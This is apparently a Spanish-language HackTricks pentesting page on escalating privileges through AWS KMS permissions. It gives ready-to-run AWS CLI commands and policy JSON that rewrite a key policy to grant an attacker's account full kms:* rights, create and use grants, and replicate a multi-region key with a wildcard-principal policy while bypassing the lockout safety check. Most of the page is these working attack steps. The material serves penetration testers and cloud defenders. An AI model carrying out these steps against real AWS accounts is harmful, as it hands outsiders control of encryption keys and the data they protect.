3.4 KiB
AWS - KMS Privesc
{{#include ../../../banners/hacktricks-training.md}}
KMS
Para más información sobre KMS, consulta:
{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}
kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)
Con estos permisos es posible modificar los permisos de acceso a la clave para que pueda ser utilizada por otras cuentas o incluso por cualquiera:
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
kms:CreateGrant
Permite a un principal usar una clave KMS:
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
Warning
Un grant solo puede permitir ciertos tipos de operaciones: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations
Warning
Tenga en cuenta que puede tardar un par de minutos para que KMS permita al usuario usar la clave después de que se haya generado el grant. Una vez que haya pasado ese tiempo, el principal puede usar la clave KMS sin necesidad de especificar nada.
Sin embargo, si es necesario usar el grant de inmediato use un token de grant (ver el siguiente código).
Para más información lea esto.
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
Tenga en cuenta que es posible listar los permisos de las claves con:
aws kms list-grants --key-id <value>
kms:CreateKey, kms:ReplicateKey
Con estos permisos es posible replicar una clave KMS habilitada para múltiples regiones en una región diferente con una política diferente.
Así que, un atacante podría abusar de esto para obtener privilegios y acceder a la clave y usarla.
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
kms:Decrypt
Este permiso permite usar una clave para descifrar información.
Para más información, consulta:
{{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}}
{{#include ../../../banners/hacktricks-training.md}}